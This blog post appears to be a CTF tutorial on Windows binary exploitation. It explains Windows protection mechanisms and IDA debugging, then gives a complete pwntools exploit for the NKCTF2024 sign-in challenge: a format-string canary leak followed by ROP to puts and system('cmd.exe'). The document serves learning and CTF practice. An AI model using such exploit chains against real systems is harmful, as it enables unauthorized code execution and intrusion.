winpwn入门

前言

nkctf刚好有一道winpwn的题,题目比较简单就顺便学了一下,主要是一些调试还有攻击的技巧

参考:

z1r0

安装checksec

https://github.com/Wenzel/checksec.py

到他的releases下载checksec.exe

image-20240407212232225

安装winserver

https://github.com/Ex-Origin/win_server

这个就像搭建pwn题一样,把exe给映射到一个端口上

1
git clone https://github.com/Ex-Origin/win_server.git

如上git clone之后即可使用,用法:.\win_server.exe a.exe 1234就可以把a.exe给映射到1234端口上,试着用nc连接一下,发现可以正常的执行程序

image-20240407212557512

这样就可以正常使用pwntools去做winpwn了,同样也方便使用ida调试程序

winpwn保护机制

NX:这个在win上其实是DEP,堆栈不可执行保护

Canary:这个在win上其实是GS,可能这个工具的开发者为了让我们更好理解才写了Canary,但是需要注意的是这个工具的canary检测可能检测不准

ASLR:通俗讲就是地址随机化,让exe和dll的地址全部随机,所以就有了大名鼎鼎Heap Spray(堆喷)利用技术,Heap Spray是在shellcode的前面加上大量的slide code(滑板指令),组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流,使得程序执行到堆上,最终将导致shellcode的执行。

Dynamic Base:程序编译时可通过/DYNAMICBASE编译选项指示程序是否利用ASLR的功能

High Entropy VA:如果指定此选项,则当内核将进程的地址空间布局随机化为 ASLR 的一部分时,兼容版本的 Windows 内核可以使用更高的熵。 如果内核使用更高的熵,则可以将更多的地址分配给堆栈和堆等内存区域。 因此,更难猜测特定内存区域的位置。当该选项打开时,当这些模块作为 64 位进程运行时,目标可执行文件和它所依赖的任何模块必须能够处理大于 4 GB 的指针值。

SEH:结构化异常处理(Structured Exception Handling,简称 SEH)是一种Windows 操作系统对错误或异常提供的处理技术。SEH 是 Windows操作系统的一种系统机制,本身与具体的程序设计语言无关。SEH 为Windows的设计者提供了程序错误或异常的处理途径,使得系统更加健壮

SafeSEH:为了防止攻击者通过覆盖堆栈上的异常处理函数句柄,从而控制程序执行流程的攻击,在调用异常处理函数之前,对要调用的异常处理函数进行一系列的有效性校验,如果发现异常处理函数不可靠,立即终止异常处理函数的调用。不过SafeSEH需要编译器和系统双重支持,缺少一个则保护能力基本就丧失了

Force Integrity:强制签名保护

Control Flow Guard:控制Flow防护 (CFG) 是一项高度优化的平台安全功能,旨在打击内存损坏漏洞。 通过严格限制应用程序可以从何处执行代码,利用漏洞(如缓冲区溢出)执行任意代码会更加困难

Isolation:隔离保护,默认会开启

Authenticode:签名保护

ida调试

ida直接调试程序

先F2下个断点

image-20240407214749900

F9选择Local Windows debugger,然后OK就行了

image-20240407214646654

这里就可以开始调试了

image-20240407214934259

结合exp调试

这里选择attach to process,然后用前面的winserver把服务跑起来,在虚拟机里面跑exp,连接上程序,然后选择对应的进程就可以调试了

image-20240407215036153

这里可以看到已经调试到我们exp跑的对应的进程里面去了

image-20240407215410841

image-20240407215529896

例题:NKCTF2024 签到

明显的有格式化字符串和栈溢出漏洞,因为不太清楚winpwn的libc的格式,所以这里没用格式化字符串漏洞去泄露libc,这里笔者选择了先用格式化字符串漏洞泄露出canary,然后rop泄露出puts的真实地址(这里需要注意的是winpwn不知道为什么无法使用%x$p),必须输入一长串的%p才能够泄露

image-20240407215717918

然后题目也给了msvcrt.dll,用ida把puts,system,cmd.exe的偏移都找出来,然后直接写rop就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
from ctypes import *
from struct import pack
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ip = '192.168.3.113'
port = 1234
local = 0
if local:
io = process(banary)
else:
io = remote(ip, port)

context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def dbg():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()

puts_plt=0x0403F8C
puts_got=0x0409230

pause()
ru("NKCTF2024\r\n")
payload=b'%p'*0x1e+b'S'+b'%p'
sl(payload)
ru(b'S')
canary=int(io.recv(8),16)
lg("canary")

ru("ohhh,no")
payload=b'A'*(0x70-0xc)+p32(canary)+b'A'*8+b'A'*4+p32(puts_plt)+p32(0x00401473)+p32(puts_got)
sl(payload)

"""
#remote
dll_base=u32(io.recv(4))-0x1017BA80
lg("dll_base")
system=dll_base+0x10144700
cmd=dll_base+0x101048C8
"""
#local
dll_base=u32(io.recv(4))-0x10179E20
lg("dll_base")
system=dll_base+0x10143D30
cmd=dll_base+0x101047A4

ru("NKCTF2024\r\n")
payload=b'%p'*0x1e+b'S'+b'%p'
sl(payload)

pause()
ru("ohhh,no")
payload=b'A'*(0x70-0xc)+p32(canary)+b'A'*8+b'A'*4+p32(system)+p32(0)+p32(cmd)
sl(payload)


ia()

这里还要注意的是需要把debug打开来,然后用type flag.txt才能看到flag,不知道是不是因为编码格式的问题,不开debug是看不到打印出来的字符串的


winpwn入门
http://blogyoulin.top/2024/04/07/winpwn入门/
Author
John Doe
Posted on
April 7, 2024
Licensed under